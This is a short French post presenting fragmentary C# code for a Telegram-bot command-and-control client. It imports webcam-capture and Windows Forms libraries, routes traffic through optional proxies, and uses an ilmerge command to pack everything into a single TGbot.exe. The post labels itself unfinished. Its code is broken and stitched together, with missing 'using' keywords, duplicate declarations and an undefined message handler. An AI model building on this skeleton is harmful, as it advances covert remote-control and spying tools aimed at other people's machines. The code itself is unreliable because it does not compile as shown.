
Commandement et Contrôle pour l'écriture en C#
Commande et Contrôle en C#
Auteur : Leiothrix
Telegram : @Leiothrix
Twitter : @wh4am1
Équipe : QQ愛&Love


using System.IO;
using Telegram.Bot;
using Telegram.Bot.Args;
using Telegram.Bot.Types.InputFiles;
using AForge.Video;
using AForge.Controls;
using AForge.Video.DirectShow;
System.Drawing;
System.Windows.Forms;
static void Main(){
botClient = new TelegramBotClient("token"); //Votre jeton
botClient.OnMessage += Bot_OnMessage;
botClient.StartReceiving();
Thread.Sleep(int.MaxValue);
}

// using System.Net;
var httpProxy = new WebProxy("https://example.org", 8080)
{
Credentials = new NetworkCredential("USERNAME", "PASSWORD")
};
var botClient = new TelegramBotClient("YOUR_API_TOKEN", httpProxy);
// using MihaZupan;
var proxy = new HttpToSocks5Proxy(Socks5ServerAddress, Socks5ServerPort);
// Ou si vous avez besoin d'identifiants pour votre serveur proxy :
var proxy = new HttpToSocks5Proxy(
Socks5ServerAddress, Socks5ServerPort, "USERNAME", "PASSWORD"
);
// Permet d'utiliser des proxys qui n'autorisent que les connexions à Telegram
// Nécessaire pour certains proxys
proxy.ResolveHostnamesLocally = true;
var botClient = new TelegramBotClient("YOUR_API_TOKEN", proxy);
ilmerge.exe /target:exe /out:TGbot.exe ConsoleApp1.exe AForge.Controls.dll AForge.dll AForge.Imaging.dll AForge.Math.dll AForge.Video.DirectShow.dll AForge.Video.dll Newtonsoft.Json.dll Telegram.Bot.dll /targetplatform:v4
Enfin, le fichier de sortie est généré dans le répertoire spécifié par le paramètre out
Encore en développement ! Encore en développement ! Encore en développement !